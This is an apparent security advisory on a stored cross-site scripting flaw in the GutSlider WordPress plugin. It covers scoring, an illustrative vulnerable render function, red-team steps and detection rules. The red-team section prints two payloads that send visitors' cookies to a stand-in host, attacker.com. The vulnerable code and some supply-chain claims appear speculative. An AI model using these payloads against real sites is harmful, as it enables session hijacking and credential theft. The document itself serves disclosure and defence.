CVE-2024-37955

Executive Summary

CVE-2024-37955 is a Stored Cross-Site Scripting (XSS) vulnerability found in the WordPress plugin GutSlider – All in One Block Slider, developed by Zakaria Binsaifullah. The flaw exists in versions from n/a through 2.7.3. An authenticated attacker with contributor-level privileges or higher can inject malicious JavaScript into slider blocks. When an administrator or other user views the compromised page, the script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability has a CVSS score of 6.5 (Medium) and currently has no known public exploit or patch.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository. The plugin is not an NPM, PyPI, Go, or Ruby package. The supply chain risk is moderate: if the plugin is installed from the official repository, the malicious code is introduced via the plugin’s own update mechanism. Since no patch exists, users must manually remove or disable the plugin.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Attack Vector (AV): Network – the vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – no special conditions required.
• Privileges Required (PR): Low – attacker needs contributor-level access.
• User Interaction (UI): Required – victim must view the compromised page.
• Scope (S): Changed – the injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low – limited data exposure.
• Integrity (I): Low – limited ability to modify content.
• Availability (A): Low – limited impact on availability.

Threat Level: Medium. Exploitation requires authenticated access, but the stored XSS can persist and affect multiple users.

Deep Dive & Mechanics

The vulnerability resides in the GutSlider plugin’s block rendering logic. The plugin fails to properly sanitize user-supplied input when creating or editing slider blocks via the WordPress block editor (Gutenberg). Specifically, the title, description, and buttonText fields within slider slides are not neutralized before being stored in the database and later rendered on the frontend.

Root Cause: The plugin uses wp_kses_post() or similar insufficient sanitization functions, or no sanitization at all, allowing HTML/JavaScript injection. The stored payload is then output without escaping in the block’s frontend template.

Attack Flow:

1. Attacker logs in as a contributor or higher.
2. Creates or edits a GutSlider block.
3. Injects a malicious script into a slide field (e.g., <script>alert('XSS')</script>).
4. The payload is stored in the WordPress database.
5. When an admin or visitor views the page containing the slider, the script executes.

Impact: Stored XSS can lead to:

• Session cookie theft (document.cookie)
• Redirection to malicious sites
• Defacement of the site
• Privilege escalation if admin cookies are stolen

Vulnerable vs. Patched Code

Vulnerable Code (version 2.7.3):

// In gutslider/src/blocks/slide/block.json or similar
// The render callback does not escape output
function render_slide_block($attributes, $content) {
    $title = $attributes['title'];
    $description = $attributes['description'];
    $button_text = $attributes['buttonText'];
    // Direct output without escaping
    return "<div class='slide'><h3>$title</h3><p>$description</p><a href='#'>$button_text</a></div>";
}

Patched Code (hypothetical fix):

function render_slide_block($attributes, $content) {
    $title = esc_html($attributes['title']);
    $description = esc_html($attributes['description']);
    $button_text = esc_html($attributes['buttonText']);
    return "<div class='slide'><h3>$title</h3><p>$description</p><a href='#'>$button_text</a></div>";
}

Key Difference: The patched version uses esc_html() to escape output, preventing HTML/JavaScript injection. The vulnerable version outputs raw data.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• WordPress instance with GutSlider <= 2.7.3
• Contributor-level account or higher

Steps:

1. Log in to WordPress as a contributor.
2. Create a new post/page and add a GutSlider block.
3. In the slide editor, set the title to:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Publish the post.
5. When an admin views the post, the script executes, sending their cookies to the attacker.

Alternative Payload (session hijacking):

<img src=x onerror="document.location='https://attacker.com/steal?cookie='+document.cookie">

Blue Team (Detection & Response)

Detection:

• Monitor for unusual script tags in post content or block attributes.
• Use WAF rules to block common XSS patterns in POST requests to /wp-admin/post.php or /wp-json/wp/v2/posts.

Response:

1. Identify and remove malicious posts/pages.
2. Reset all user sessions.
3. Review user roles and remove compromised accounts.
4. Apply virtual patching via WAF.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/gutslider/ (entire plugin directory)
• Database: Posts/pages containing <script> tags in post_content or post_excerpt fields.
• Network: Outbound requests to attacker-controlled domains from the WordPress server.
• Logs: Suspicious POST requests to /wp-admin/post.php with content parameter containing <script>.

Detection Engineering

YARA Rule

rule CVE_2024_37955_GutSlider_XSS {
    meta:
        description = "Detects stored XSS payloads in GutSlider plugin content"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-37955"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"']*["']?/is
        $xss3 = /onload\s*=\s*["']?[^"']*["']?/is
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-37955 GutSlider Stored XSS
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects stored XSS attempts via GutSlider plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri: '/wp-admin/post.php'
        cs-uri-query: 'action=editpost'
        sc-status: 200
        cs-User-Agent: '*'
        cs-Referer: '*wp-admin/post.php*'
    keywords:
        - '<script'
        - 'onerror='
        - 'onload='
    condition: selection and keywords
falsepositives:
    - Legitimate use of JavaScript in posts (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-37955 GutSlider Stored XSS Payload"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"action=editpost"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Remove any malicious content from the database (search for <script> tags in posts).
3. Reset all user passwords and invalidate existing sessions.

Long-term Fix:

• The vendor must release a patched version that properly escapes output using esc_html() or wp_kses_post() with strict allowlists.
• Until then, apply a virtual patch via WAF to block XSS patterns in GutSlider-related requests.

Workaround:

• Restrict contributor roles from using the GutSlider block via user role editor plugins.
• Use a security plugin (e.g., Wordfence) to block XSS payloads.

Valters IT
Securing Digital Frontiers